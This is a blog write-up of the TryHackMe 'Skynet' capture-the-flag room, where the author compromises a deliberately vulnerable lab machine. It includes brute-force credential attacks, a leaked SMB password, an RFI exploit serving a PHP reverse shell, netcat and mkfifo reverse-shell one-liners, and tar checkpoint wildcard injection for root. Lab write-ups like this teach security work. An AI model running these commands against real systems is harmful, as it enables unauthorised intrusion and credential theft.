In this latest room (box) we take on Skynet! This box has a cool theme and was fun to play through.


This room starts to move away from the guided path and has far fewer flags, but it retains more than just a two-task approach to keep the person thinking about the types of vulnerability. I’m thinking it might be cool to ask defensive questions as well (something I might add into my room I’m building).

Well we don’t have time to waste, the machines might rise up and judgement day occur so let’s get pwning!


We start off with a full tcp scan as shown:

nmap -sS -O -sV -sC -A -T4 -Pn -p- -vvv -oA skynet


We find a range of common services on this IP:

  • IMAP
  • POP3
  • SMB
  • HTTP (80)
  • RPC


There are things we start to notice straight off the bat! This server is leaking a lot of intel!

  • Username disclosed (milesdyson)
  • Weak password policy
  • Suspectable to brute force (no account lockout)

SMB Services

Well SMB is exposed so we start hitting this with a brute force attack! It’s not impossible to get a hit but whilst this is running, we can go and explore other areas. I’ve used msf but you could easily use hydra or nmap to perform this attack (or write a custom script if that makes you happy!)

smbclient -L

Now we also noticed an anon access share:


Let’s explore that!

Using smbget we found a log file with a what looks it contains a list of passwords.

We poke about here for a while the books seem like they are rabbit holes!

HTTP Services

When multiple services are exposed it’s important to leave no stone unturned! You never know what service might contain a vulnerability that can be exploited and until you try you won’t know!

We run a whole range of web discovery, including forced browsing using dirbuster (again you could use BURP PRO content discovery or gobuster or other tools!)

I used dirbuster on the HTTP Service on TCP 80 and found a webmail login

Now we know we have a username and we found what looks like a list of passowords! Using BURP I ran an intruder attack to identify the following credentials:



Hacker Voice: “I’m in”

In the email we search around and discovery that we have the following:

A password reset email that sends credentials in an insecure manner! Easy money (haha I coulnd’t write this without some T2 quotes in!)

SMB I’ll be back

A likely target for these creds is the home folder we found earlier, again I use msf but you could use the other tools (smbclient etc.)! We run an SMB Login check

SMB USER: milesdyson

Password: )s{A&2Z=F^n_E.B`

Now we have SMB Creds

We can see the creds are valid!

Now let’s see what secrets we can find in the home foler!

smbclient -L -U //SKYNET/milesdyson

smbclient // -U “milesdyson”

smbget smb:// -U “milesdyson” -R

In the files there is an important.txt

It leaks a CMS directory path

Using google we find that there is an RFI vulnerability in this app


Browse to this path then base64 decode

Since this is an RFI we can host a webshell and get the server to connect to us and spawn a shell.

For this we will need:

  • An http listener (python)
  • A php reverse shell
  • A netcat listener

Copy a php reverse shell and edit the params (IP and PORT)

So, here’s our listener

And finally our python http server

Now we need to build our RFI payload:

Now we have the user flag!

Marching On

Let’s upgrade our shell using python

python -c ‘import pty; pty.spawn(“/bin/bash”)’

On our attacker machine let’s get some enumeration tools:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

On the target:
cd /tmp


Now make this executable

chmod +x LinEnum.sh

A scheduled task too far


cat /etc/cron*

There is a root cron job which affects the userland file system (/home/milesdyson/backups)

Let’s send the enum output to the attacker:

Setup a nc listener and output the contents to a file
nc -l -p 999 -q 1 > linenum.txt < /dev/null
Send the file to the server
cat enum.txt-28-01-20 | nc 999| nc 999

Setup a listener

nc -nlvp 1337

Spawn a bash shell back to the attacker:

nc -e /bin/sh 1337

Now the backup script has the following:


cd /var/www/html

tar cf /home/milesdyson/backups/backup.tgz *



This script is vulnerable to attack!

Victim in the tmp folder
cd /var/www/html

echo “rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 1337 >/tmp/r” > shell.sh

touch “/var/www/html/–checkpoint-action=exec=sh shell.sh”

touch “/var/www/html/–checkpoint=1”

chmod +x shell.sh

cd /var/www

chmod 777 html

And we have the root flag! After you finish your r00t dance remember to explore the target, steal anything of use and dump creds etc.

Box Summary

This box was a nice path and show’s off a range of vulnerabilities:

  • Sensitive Information Disclosure
    • Usernames
  • Weak Credential Storage
    • Passwords in anonymous share
  • Weak Authentication
    • Lack of account lockout policy and weak password requirements
  • Vulnerable Software
    • Vulnerable Unpatched CMS
  • Insecure Configuration
    • CRON jobs running as root using userland writeable assets

I like the mixture of guided and unguided rooms, it provides opportunities to showcase techniques and helps people learn whilst providing a safe space for people to explore.

My Hacky Adventure with TryHackMe!

This post marks the end of this mini series for now! I took a couple of days out from client project work to do these and it was great fun to explore another platform and to send some pews at the same time! There’s more on the path including two binary explotation rooms, so you never know I might pick this up again at a later date! If anyone is interested in offesnvie/defensive security I would recomend TryHackMe. The platform is user friendly, the discord is lively and the team that run TryHackMe have been great!

Stay tuned, I’ve got loads more cyber security content to release and I’ll continue to make more in between helping organisations reduce their businress risk and enable themselves and their customers with secure technology!

Thanks for reading!

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